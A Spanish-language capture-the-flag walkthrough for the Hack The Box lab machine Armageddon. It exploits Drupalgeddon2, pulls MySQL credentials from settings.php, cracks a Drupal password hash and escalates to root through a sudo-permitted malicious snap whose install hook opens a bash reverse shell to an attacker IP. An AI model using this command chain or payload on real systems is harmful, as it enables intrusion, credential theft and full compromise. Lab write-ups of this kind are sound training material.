Buscar en BreakSecure

Contenido recomendado

Armageddon

Armageddon es una máquina Linux de Hack The Box donde explotamos Drupalgeddon2 para obtener acceso inicial, recuperamos credenciales desde MySQL y abusamos de permisos sudo sobre Snap para escalar privilegios hasta root.

Portada de Armageddon
Plataforma
Hack The Box
Sistema operativo
Linux
Dificultad
Fácil
Publicado
Autor
Pedro Vargas
Temas
  • Drupal
  • Drupalgeddon2
  • Rce
  • Mysql
  • Password Cracking
  • Hashcat
  • SSH
  • Sudo L
  • Snap
  • Fpm
  • Gtfobins
  • Escalamiento de Privilegios
En esta página

Resumen

Armageddon es una máquina Linux de Hack The Box donde explotaremos Drupalgeddon2 (CVE-2018-7600) para conseguir ejecución remota de comandos. Desde la configuración de Drupal encontraremos credenciales de MySQL que nos permitirán recuperar y crackear la contraseña de un usuario del sistema. Finalmente, un permiso sudo sobre snap será suficiente para crear nuestro propio paquete malicioso y conseguir una shell como root.

Enumeración

Comenzamos con un escaneo de los 1000 puertos más comunes:

nmap --top-ports 1000 -vvv -T5 -sV 10.129.48.89

La máquina únicamente expone dos servicios principales:

  • 22 — SSH
  • 80 — HTTP

Al acceder al puerto 80 encontramos una página llamada Armageddon que utiliza Drupal 7.

Drupal es un CMS muy conocido y, teniendo una versión antigua delante, el siguiente paso lógico era buscar vulnerabilidades públicas asociadas. 🔎

Drupalgeddon2

Buscando exploits disponibles encontramos Drupalgeddon2, nombre con el que se conoce a CVE-2018-7600.

La vulnerabilidad afecta a versiones vulnerables de Drupal y permite conseguir ejecución remota de comandos sin autenticación debido al procesamiento inseguro de determinados parámetros.

Desde Kali buscamos exploits disponibles:

searchsploit drupalgeddon

Entre los resultados encontramos:

/usr/share/exploitdb/exploits/php/webapps/44449.rb

Intenté ejecutarlo directamente:

ruby /usr/share/exploitdb/exploits/php/webapps/44449.rb http://10.129.48.89/

Pero inicialmente Ruby devolvió un error porque faltaba una dependencia.

La instalamos con:

gem install highline

Y volvemos a ejecutar:

ruby /usr/share/exploitdb/exploits/php/webapps/44449.rb http://10.129.48.89/

Ya tenemos ejecución de comandos sobre la máquina.

Credenciales de Drupal

Una vez dentro comencé a revisar la estructura de Drupal.

Uno de los directorios más interesantes es:

ls sites/default

Aquí encontramos:

settings.php

Este archivo contiene la configuración de Drupal, incluyendo normalmente la conexión con la base de datos.

Lo revisamos:

cat sites/default/settings.php

Y encontramos:

'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',

Tenemos credenciales de MySQL. 🔑

Enumeración de MySQL

Podemos utilizarlas directamente para comprobar las bases de datos disponibles:

mysql -u drupaluser -pCQHEy\@9M\*m23gBVj -e 'show databases;'

Entre ellas encontramos:

drupal

Enumeramos sus tablas:

mysql -u drupaluser -pCQHEy\@9M\*m23gBVj -e 'use drupal; show tables;'

Y finalmente revisamos la tabla de usuarios:

mysql -u drupaluser -pCQHEy\@9M\*m23gBVj -e 'use drupal; select * from users;'

Entre los resultados encontramos un usuario:

brucetherealadmin

junto con su correspondiente hash de contraseña:

$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Drupal utiliza hashes específicos para almacenar las contraseñas, así que toca intentar crackearlo.

Crackeando la contraseña

Guardamos el hash en:

hash.txt

Y utilizamos Hashcat con el modo 7900, correspondiente a hashes de Drupal 7:

hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt

Después de unos segundos obtenemos:

brucetherealadmin:booboo

Ahora la pregunta es: ¿este usuario de Drupal también existe en el sistema?

Probemos SSH. 👀

Acceso mediante SSH

Utilizamos las credenciales recuperadas:

ssh brucetherealadmin@10.129.48.89

Contraseña:

booboo

¡Funciona! Ya tenemos una sesión mucho más estable como:

brucetherealadmin

y podemos obtener user.txt.

Ahora toca buscar cómo convertir este acceso en root.

Escalamiento de privilegios

Una de las primeras comprobaciones que podemos realizar es:

sudo -l

Y encontramos algo bastante interesante: brucetherealadmin puede ejecutar snap install mediante sudo sin proporcionar contraseña.

Esto es importante porque snap install permite instalar paquetes Snap y, si conseguimos construir uno controlado por nosotros, podemos intentar hacer que durante su instalación ejecute nuestro código con privilegios elevados.

🎯 Nuestro vector será entonces:

sudo → snap install → paquete malicioso → root

Creando nuestro Snap malicioso

Para generar el paquete utilicé fpm.

Primero creamos la estructura necesaria:

mkdir -p meta/hooks

Dentro creamos un hook llamado:

meta/hooks/install

Este hook se ejecutará durante la instalación del paquete.

Como queremos recibir una reverse shell, introducimos nuestro payload:

echo -e "#!/bin/sh\nbash -c 'bash -i >& /dev/tcp/<KALI_IP>/4449 0>&1'; false" > meta/hooks/install

En mi caso tuve que ajustar las comillas del payload para que Bash interpretara correctamente la reverse shell. 😅

Le damos permisos de ejecución:

chmod +x meta/hooks/install

Y generamos nuestro paquete Snap:

fpm -n anx -s dir -t snap -a all meta

Esto genera un archivo similar a:

anx_1.0_all.snap

Transfiriendo el paquete

Desde Kali levantamos un servidor HTTP:

python3 -m http.server 8004

Y desde Armageddon descargamos nuestro paquete:

curl http://<KALI_IP>:8004/anx_1.0_all.snap -o anx_1.0_all.snap

Ya tenemos el Snap malicioso dentro de la víctima.

Solo falta ejecutarlo con los privilegios que encontramos anteriormente.

Obteniendo root

Antes de instalarlo dejamos Netcat escuchando:

nc -lvnp 4449

Y desde Armageddon ejecutamos:

sudo snap install anx_1.0_all.snap --dangerous --devmode

--dangerous permite instalar un Snap local sin las validaciones normales de firma, mientras que --devmode instala el paquete utilizando el modo de desarrollo.

Durante la instalación se procesa nuestro hook malicioso y recibimos la conexión en Kali. 🔥

¡Armageddon completada! 🚩

Conclusiones

Armageddon combina dos vectores muy claros: Drupalgeddon2 nos permite entrar al servidor y las credenciales de Drupal terminan llevándonos hasta SSH. Desde ahí, un simple sudo -l revela que podemos abusar de Snap, crear nuestro propio paquete malicioso y ejecutar código como root.

Herramientas utilizadas

  • Nmap
  • SearchSploit
  • Ruby
  • MySQL
  • Hashcat
  • SSH
  • FPM
  • Snap
  • Netcat

Referencias

https://www.youtube.com/watch?v=Kz4_tGyUeJY